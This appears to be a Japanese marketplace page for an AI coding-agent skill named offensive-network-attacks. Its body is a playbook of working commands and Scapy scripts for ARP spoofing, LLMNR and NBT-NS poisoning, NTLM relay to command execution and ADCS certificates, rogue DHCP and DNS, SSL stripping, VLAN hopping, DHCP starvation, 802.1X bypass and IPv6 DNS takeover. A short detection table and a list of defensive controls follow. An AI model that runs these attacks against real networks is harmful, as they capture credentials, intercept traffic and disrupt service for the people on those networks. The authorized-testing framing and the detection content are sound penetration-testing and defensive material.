mcpField
O
offensive-network-attacks

offensive-network-attacks

github.com/snailsploitセキュリティ9.7k127 回インストール2 週間前に更新
リポジトリ

offensive-network-attacks について

許可された内部演習向けに、レイヤー 2 とレイヤー 3 の攻撃手法をまとめたセキュリティスキルです。トラフィック傍受、名前解決ポイズニング、VLAN・DHCP 攻撃、NAC 回避、IPv6 の悪用を扱います。

主な機能

  1. 01ARP スプーフィングと MITM
  2. 02LLMNR、NBT-NS、mDNS のポイズニング
  3. 03DNS と DHCP の攻撃
  4. 04VLAN ホッピング手法
  5. 05802.1X と NAC の回避
  6. 06IPv6 攻撃手法

活用シーン

  1. 01内部演習でのレイヤー 2/3 の露出評価
  2. 02名前解決と認証情報保護のテスト
  3. 03ネットワーク分割とアクセス制御の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-network-attacks

インストール後、Claude Code で/offensive-network-attacksを入力して読み込まれたか確認します。

詳細

ネットワーク攻撃(レイヤー 2/3)――攻撃手法

許可を得た社内エンゲージメントで、レイヤー 2/3 のインフラストラクチャを攻撃しています。ARP、DHCP、ブロードキャストによる名前解決、VLAN トランキング、IPv6 自動設定にはいずれも認証がありません。この信頼を悪用して、認証情報を傍受し、トラフィックをリダイレクトし、ネットワーク境界を越えます。

クイックワークフロー

  1. 自分の位置を把握します。VLAN、サブネット、ゲートウェイ、DNS、DHCP リース、IPv6 の状態を確認します。
  2. tcpdump/Wireshark でパッシブスニッフィングを行い、ホストと平文の認証情報を探します。
  3. Responder を分析モードで実行し、LLMNR/NBT-NS/mDNS クエリを観察します。
  4. Responder のポイズニングを有効にして、NTLMv2 ハッシュを取得します。
  5. キャプチャしたハッシュを、SMB 署名が無効なホストに対して ntlmrelayx でリレーします。
  6. ゲートウェイを ARP スプーフィングし、標的を絞った MITM と認証情報の傍受を行います。
  7. DTP ネゴシエーションと 802.1Q 二重タグ付けを使って、VLAN の境界を調べます。
  8. mitm6 で IPv6 自動設定を悪用し、DNS の乗っ取りと NTLM リレーを行います。

ARP スプーフィング

ARP には認証がありません。被害者のキャッシュで自分の MAC アドレスをゲートウェイの IP アドレスに対応付けるために、Gratuitous ARP 応答を送信し、被害者のトラフィックが自分を経由するようにします。

Bettercap ARP モジュール
sudo bettercap -iface eth0
net.probe on                              # discover live hosts
net.show
set arp.spoof.targets 10.0.0.50          # single target
set arp.spoof.fullduplex true            # poison both victim and gateway
arp.spoof on
arpspoof と Ettercap
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.0.0.50 10.0.0.1   # tell victim you are the gateway
arpspoof -i eth0 -t 10.0.0.1 10.0.0.50   # tell gateway you are the victim (second terminal)

# Ettercap alternative
sudo ettercap -T -M arp:remote /10.0.0.50// /10.0.0.1//
sudo ettercap -T -M arp:remote -F inject.ef /10.0.0.50// /10.0.0.1//  # with filter
Scapy による Gratuitous ARP
from scapy.all import Ether, ARP, sendp
import time

pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2, psrc="10.0.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.0.0.50"
)
while True:
    sendp(pkt, iface="eth0", verbose=False)
    time.sleep(2)
静的 ARP エントリの回避

静的エントリがあると、標準的なポイズニングは阻止されます。回避策として、ARP テーブルをあふれさせてホストを動的解決にフォールバックさせる方法、DHCP/DNS 攻撃でレイヤー 3 からリダイレクトする方法、静的エントリのないセグメントから攻撃できるよう VLAN ホッピングを使う方法があります。


LLMNR/NBT-NS/mDNS ポイズニング

DNS に失敗すると、Windows は LLMNR(UDP 5355)、NBT-NS(UDP 137)、mDNS(UDP 5353)にフォールバックします。自分の IP アドレスを指定してこれらのブロードキャストクエリに応答し、被害者が不正なサービスに対して認証を行うよう仕向けます。

Responder のセットアップとハッシュの取得
sudo responder -I eth0 -A                    # analyze mode -- observe without poisoning
sudo responder -I eth0 -wrf                  # full poisoning: -w WPAD, -r NBT-NS, -f fingerprint
# Hashes land in /opt/Responder/logs/
hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule   # NTLMv2
hashcat -m 5500 hashes.txt wordlist.txt                        # NTLMv1 (weaker)

WPAD は価値の高い攻撃ベクトルです。ブラウザーは DNS、続いて LLMNR/NBT-NS を使って wpad.dat を問い合わせます。-w フラグを指定すると、Responder は悪意のある WPAD 設定を配信し、ブラウザーのトラフィックから NTLM 認証を透過的に取得します。

Inveigh(Windows ネイティブ)

侵害した Windows ホストから Linux ツールを配置せずにポイズニングを行います。

Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y -HTTPS Y -Proxy Y
Inveigh.exe -FileOutput Y -NBNS Y -mDNS Y -HTTP Y -LLMNR Y   # C# binary avoids PS logging
ntlmrelayx による NTLMv1/v2 リレー

クラッキングに失敗した場合は、キャプチャした認証を SMB 署名が無効なターゲットにリレーします。Responder.conf で SMB と HTTP を先に無効にしてください。これらのプロトコルは ntlmrelayx が処理します。

nxc smb 10.0.0.0/24 --gen-relay-list no-signing.txt
impacket-ntlmrelayx -tf no-signing.txt -smb2support -c "whoami"           # command exec
impacket-ntlmrelayx -tf no-signing.txt -t ldap://10.0.0.10 \
  --escalate-user attacker --delegate-access                               # LDAP privesc
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController                          # ADCS ESC8

Responder のポイズニング、PetitPotam、PrinterBug、または DFSCoerce を使って認証を誘発します。


DNS ポイズニング

DNS 攻撃はアプリケーション層でトラフィックをリダイレクトします。名前解決の経路を制御できる場合、レイヤー 2 で隣接している必要はありません。

DHCP オプション 6 による不正な DNS サーバー

DHCP スタベーションの後、または DHCP スヌーピングがないネットワークで、自分の IP を DNS として指定した dnsmasq(オプション 6)を導入します。

# /etc/dnsmasq-rogue.conf:
#   interface=eth0
#   dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99    # gateway
#   dhcp-option=6,10.0.0.99    # DNS
#   address=/intranet.corp.local/10.0.0.99
#   server=8.8.8.8
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
Scapy による DNS キャッシュポイズニング
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
import random

# Flood spoofed responses -- must match in-flight query txid and src port
for txid in range(1, 65535):
    pkt = IP(dst="10.0.0.2", src="8.8.8.8") / \
          UDP(sport=53, dport=random.randint(1024, 65535)) / \
          DNS(id=txid, qr=1, aa=1, qd=DNSQR(qname="intranet.corp.local"),
              an=DNSRR(rrname="intranet.corp.local", rdata="10.0.0.99", ttl=86400))
    send(pkt, verbose=False)

最新のリゾルバーは送信元ポートとトランザクション ID をランダム化します。実用的な Kaminsky 方式のポイズニングでは、両方のフィールドを同時に一致させる必要があります。

DNS リバインディング

DNS レコードを自分のサーバーと内部 IP の間で切り替えて、同一オリジンポリシーを回避します。

# singularity framework: first resolution serves JS payload, second returns internal target
./singularity -DNSRebindStrategy DNSRebindFromRequest \
  -ResponseIPAddr 10.0.0.99 -ResponseReboundIPAddr 192.168.1.1

中間者攻撃(MITM)

ARP スプーフィング、DHCP リダイレクト、またはタップを使って被害者とゲートウェイの間に位置を確保したら、トラフィックを傍受して変更します。

Bettercap HTTP プロキシと SSL ストリップ
sudo bettercap -iface eth0
set arp.spoof.targets 10.0.0.50
set arp.spoof.fullduplex true
arp.spoof on
set http.proxy.sslstrip true
http.proxy on
set net.sniff.verbose true
set net.sniff.regexp .*pass.*|.*user.*|.*login.*
net.sniff on
sslstrip+ と dns2proxy による HSTS の回避

sslstrip+ はドメイン名(例:accounts.google.com を accountss.google.com に)を書き換えるため、ブラウザーは HSTS を適用しません。dns2proxy は書き換えられたドメインを実際の IP に解決します。

arpspoof -i eth0 -t 10.0.0.50 10.0.0.1                                      # terminal 1
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000  # terminal 2
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 10000
python dns2proxy.py -i eth0                                                   # terminal 3
python sslstrip.py -l 10000 -a -w sslstrip.log                               # terminal 4
プロキシ経由のトラフィックから認証情報を傍受
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic
tshark -r capture.pcap -Y "ftp.request.command == USER || ftp.request.command == PASS" \
  -T fields -e ftp.request.command -e ftp.request.arg
python3 Pcredz -f capture.pcap           # automated extraction (NTLM, HTTP, FTP, SMTP, SNMP)
sudo python3 net-creds.py -i eth0        # real-time credential sniffer

VLAN ホッピング

スイッチのなりすまし(DTP ネゴシエーション)

スイッチポートが dynamic auto/desirable モード(Cisco の一般的なデフォルト)であれば、トランクをネゴシエートします。

sudo yersinia dtp -attack 1 -interface eth0    # DTP trunk negotiation
sudo tcpdump -i eth0 -nn -e vlan              # verify trunk formed
sudo modprobe 8021q
sudo vconfig add eth0 100                      # sub-interface for VLAN 100
sudo ifconfig eth0.100 10.100.0.99 netmask 255.255.255.0 up
二重タグ付け(802.1Q)

ネイティブ VLAN 上にいて、スイッチが外側のタグだけを取り除く場合に機能します。一方向の攻撃です。ターゲット VLAN には送信できますが、応答は通常どおりルーティングされ、自分には届きません。

from scapy.all import Ether, Dot1Q, IP, ICMP, ARP, sendp

# Outer tag = native VLAN (1), inner tag = target VLAN (100)
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / \
      Dot1Q(vlan=1) / Dot1Q(vlan=100) / IP(dst="10.100.0.50") / ICMP()
sendp(pkt, iface="eth0")

# Double-tagged ARP poisoning into target VLAN
arp_poison = Ether(dst="ff:ff:ff:ff:ff:ff") / Dot1Q(vlan=1) / Dot1Q(vlan=100) / \
    ARP(op=2, psrc="10.100.0.1", hwsrc="aa:bb:cc:dd:ee:ff", pdst="10.100.0.50")
sendp(arp_poison, iface="eth0", count=10, inter=2)
Yersinia のレイヤー 2 攻撃
sudo yersinia stp -attack 4 -interface eth0  # STP root bridge takeover
sudo yersinia cdp -attack 1 -interface eth0  # CDP flood (Cisco switches)

DHCP 攻撃

DHCP 枯渇攻撃

アドレスプールを使い切り、正規のクライアントがアドレスを取得できないようにします。

sudo dhcpstarv -i eth0                         # dedicated starvation tool
sudo yersinia dhcp -attack 1 -interface eth0   # Yersinia alternative
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, RandMAC, sendp
import random

for i in range(500):
    mac = str(RandMAC())
    pkt = Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") / \
          UDP(sport=68, dport=67) / BOOTP(chaddr=bytes.fromhex(mac.replace(":", "")),
          xid=random.randint(1, 0xFFFFFFFF)) / DHCP(options=[("message-type", "discover"), "end"])
    sendp(pkt, iface="eth0", verbose=False)
ゲートウェイをリダイレクトする不正 DHCP サーバー

枯渇攻撃の後、ゲートウェイと DNS に自分の IP を指定してリースを提供します。

# /etc/dnsmasq-rogue.conf: interface=eth0, dhcp-range=10.0.0.100,10.0.0.200,255.255.255.0,12h
#   dhcp-option=3,10.0.0.99 (gateway)   dhcp-option=6,10.0.0.99 (DNS)   dhcp-authoritative
sudo dnsmasq -C /etc/dnsmasq-rogue.conf -d
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

802.1X/NAC のバイパス

MAB のバイパス(MAC スプーフィング)

NAC がプリンターや VoIP 電話に MAC 認証バイパスを使用している場合は、認証済みの MAC を偽装します。

sudo tcpdump -i eth0 -e -c 100 | awk '{print $2}' | sort -u  # discover authorized MACs
sudo ip link set eth0 down
sudo ip link set eth0 address AA:BB:CC:DD:EE:FF
sudo ip link set eth0 up && sudo dhclient eth0
ハブ/ブリッジの挿入

認証済みデバイスとスイッチポートの間をブリッジします。802.1X が認証するのはポートであり、個々の MAC ではありません。自分のトラフィックは認証済みセッションを共有します。

sudo ip link add name br0 type bridge
sudo ip link set eth0 master br0          # eth0 to switch
sudo ip link set eth1 master br0          # eth1 to authenticated device
sudo ip link set br0 up
証明書の偽装

EAP-TLS が使用されていて、RADIUS サーバーが CA チェーンを厳密に検証していない場合:

openssl req -new -x509 -days 365 -keyout fake-ca.key -out fake-ca.crt -subj "/CN=Corp-CA/O=Corp"
openssl req -new -keyout client.key -out client.csr -subj "/CN=PRINTER01/O=Corp"
openssl x509 -req -in client.csr -CA fake-ca.crt -CAkey fake-ca.key -CAcreateserial -out client.crt
# wpa_supplicant config: key_mgmt=IEEE8021X, eap=TLS, identity="PRINTER01", certs as above
sudo wpa_supplicant -i eth0 -D wired -c /etc/wpa_supplicant/wired.conf
NAC プロファイリングの回避

想定されるデバイスのフィンガープリント(OUI、DHCP ホスト名、TCP スタック)に合わせます。

sudo macchanger -m 00:1A:4B:XX:XX:XX eth0                     # HP printer OUI
sudo dhclient -H "HP-LaserJet-M402" eth0                       # expected hostname
sudo iptables -t mangle -A POSTROUTING -j TTL --ttl-set 128   # Windows TTL

IPv6 攻撃

ほとんどの内部ネットワークはデュアルスタックで運用されていますが、IPv6 の監視が不十分です。Windows は IPv4 よりも IPv6 DNS を優先するため、IPv6 DNS サーバーをアドバタイズすると、すべてのクエリが自分を経由するようになります。

mitm6 による SLAAC の悪用

mitm6 は DHCPv6 要求に応答し、自分のホストを DNS として設定します。その後、被害者の名前解決によって NTLM 認証がリレイリスナーに送信されます。

sudo mitm6 -d corp.local -i eth0                                       # terminal 1: DNS takeover
impacket-ntlmrelayx -6 -t ldaps://dc01.corp.local \
  --delegate-access -wh attacker-wpad.corp.local                        # terminal 2: relay
ルーターアドバタイズメントのスプーフィング
from scapy.all import (Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptSrcLLAddr,
                        ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, sendp)

ra = Ether(dst="33:33:00:00:00:01") / IPv6(dst="ff02::1") / \
     ICMPv6ND_RA(routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr="aa:bb:cc:dd:ee:ff") / \
     ICMPv6NDOptPrefixInfo(prefix="fd00::", prefixlen=64, validlifetime=1800) / \
     ICMPv6NDOptRDNSS(dns=["fd00::99"], lifetime=1800)
sendp(ra, iface="eth0", loop=1, inter=5)
DHCPv6 ポイズニングと THC-IPV6
sudo atk6-fake_dhcps6 eth0 fd00::99 fe80::1 corp.local   # fake DHCPv6 server
sudo atk6-alive6 eth0                                      # discover IPv6 hosts
sudo atk6-fake_router6 eth0 fd00::/64                      # SLAAC prefix injection
sudo atk6-parasite6 eth0                                   # ICMPv6 neighbor spoofing
sudo atk6-flood_router6 eth0                                # RA flood (DoS)
IPv6 経由の NTLM リレー
sudo mitm6 -d corp.local -i eth0 --ignore-nofqdn
impacket-ntlmrelayx -6 -t http://ca.corp.local/certsrv/certfnsh.asp \
  -smb2support --adcs --template Machine                    # relay to ADCS for cert theft

スニッフィングとトラフィック分析

パッシブスニッフィングでは、ノイズは一切発生しません。アクティブな手法を使う前に、まずここから始めます。

tcpdump
sudo tcpdump -i eth0 -w capture.pcap -nn                                         # full capture
sudo tcpdump -i eth0 -w auth.pcap -nn 'port 21 or port 23 or port 25 or port 445 or port 80'
sudo tcpdump -i eth0 -w broadcast.pcap -nn 'udp port 5355 or udp port 137 or udp port 5353'
sudo tcpdump -i eth0 -w dhcp.pcap -nn 'udp port 67 or udp port 68'
Wireshark の表示フィルター
http.authbasic                          HTTP Basic Auth
ftp.request.command == "PASS"           FTP password
smtp.req.parameter contains "AUTH"      SMTP auth
ntlmssp                                 NTLM SSP traffic
ntlmssp.auth.username                   NTLM username
smb2.cmd == 1                           SMB session setup
dns.qry.name contains "wpad"            WPAD queries
llmnr                                   LLMNR broadcast
arp.duplicate-address-detected          ARP anomalies
vlan                                    802.1Q frames
snmp.community                          SNMP strings
kerberos.msg.type == 10                 Kerberos AS-REQ
認証情報の抽出
python3 Pcredz -f capture.pcap                                                    # from pcap
sudo python2 net-creds.py -i eth0                                                 # real-time
tshark -r capture.pcap -Y "http.request.method == POST" \
  -T fields -e http.host -e http.request.uri -e urlencoded-form.value             # HTTP POST

検知/防御側の視点

攻撃主な検知方法主な兆候
ARP スプーフィングゲートウェイ IP に対する MAC の重複、ARP ストームDAI ログ、IDS の ARP 異常シグネチャ
LLMNR/NBT-NS ポイズニング予期しないマルチキャスト応答、不明なホストへの SMB 認証イベント 4697、ネットワーク IDS、LLMNR トラフィックの急増
DNS ポイズニングDNS 応答の不一致、TTL の異常DNS クエリログ、RPZ アラート、DNSSEC 検証の失敗
MITM/SSL ストリップHTTPS 専用として知られるサービスでの HTTP、証明書警告HSTS プリロードの失敗、プロキシログ、証明書の透明性
VLAN ホッピングアクセスポートからの DTP フレーム、二重タグ付きフレームスイッチポートセキュリティログ、予期しない 802.1Q フレーム
DHCP 枯渇攻撃ランダムな MAC からの急速な DHCP Discover フラッドDHCP スヌーピング違反、異常な OUI パターン
不正 DHCP複数の DHCP Offer、ゲートウェイ/DNS の競合DHCP スヌーピングの信頼済みポート違反
802.1X のバイパスMAC フラッピング、認証済みポート上の複数 MACポートセキュリティ違反、802.1X 再認証の失敗
IPv6 SLAAC/DHCPv6予期しない RA、不明な送信元からの DHCPv6RA Guard 違反、NDPMon アラート
パッシブスニッフィングNIC のプロミスキャスモードプロミスキャス検知スクリプト、スイッチ SPAN アラート

遭遇する防御側の制御:

  • Dynamic ARP Inspection(DAI) -- ARP を DHCP スヌーピングテーブルと照合して検証し、ARP スプーフィングをブロックします。
  • DHCP Snooping -- DHCP を信頼済みポートに制限し、不正 DHCP と枯渇攻撃を防ぎます。
  • Port Security -- ポートごとの MAC 数を制限し、枯渇攻撃と MAB スプーフィングをブロックします。
  • RA Guard -- 未承認の Router Advertisement をフィルタリングし、mitm6/SLAAC をブロックします。
  • SMB Signing/LDAP Signing+Channel Binding -- NTLM リレーをブロックします。
  • Native VLAN の強化(未使用の VLAN をネイティブ VLAN として使用)-- 二重タグ付けを無効にします。
  • Private VLAN -- 同一 VLAN 内のホスト間トラフィックを防ぎ、ARP スプーフィングの範囲を制限します。
  • NDR(Darktrace、Vectra、ExtraHop)-- 異常なラテラルトラフィックを検知します。

エンゲージメント用チートシート

SCENARIO                              TECHNIQUE                    TOOL / COMMAND
------------------------------------  ---------------------------  ------------------------------------------------
Harvest creds passively               LLMNR/NBT-NS poisoning      responder -I eth0 -wrf
Creds captured, won't crack           NTLM relay                  ntlmrelayx -tf targets.txt -smb2support
MITM a specific host                  ARP spoof + sniff           bettercap: arp.spoof on + net.sniff on
Intercept HTTPS traffic               SSL strip + HSTS bypass     sslstrip+ / dns2proxy / bettercap http.proxy
Reach another VLAN                    DTP trunk negotiation       yersinia dtp -attack 1
Reach VLAN (DTP disabled)             Double tagging              scapy: Dot1Q(vlan=1)/Dot1Q(vlan=target)
Exhaust DHCP, become gateway          Starvation + rogue DHCP     dhcpstarv + dnsmasq rogue config
Bypass 802.1X (MAB fallback)          MAC spoofing                macchanger -m <auth_mac> eth0
Bypass 802.1X (physical)              Bridge insertion             ip link add br0 type bridge
IPv6 DNS takeover + relay             SLAAC/DHCPv6 poisoning      mitm6 -d domain + ntlmrelayx -6
Passive recon only                    Traffic sniffing             tcpdump -i eth0 -w capture.pcap
Extract creds from capture            Credential extraction        PCredz -f capture.pcap / net-creds
Disrupt STP topology                  STP root bridge attack       yersinia stp -attack 4
Poison from Windows foothold          Windows-native poisoning     Inveigh -LLMNR Y -NBNS Y

MITRE ATT&CK の参照先:

  • T1557 -- 中間者攻撃
  • T1557.001 -- LLMNR/NBT-NS ポイズニングと SMB リレー
  • T1557.002 -- ARP キャッシュポイズニング
  • T1557.003 -- DHCP スプーフィング
  • T1040 -- ネットワークスニッフィング
  • T1599 -- ネットワーク境界のブリッジング

Key References

コメント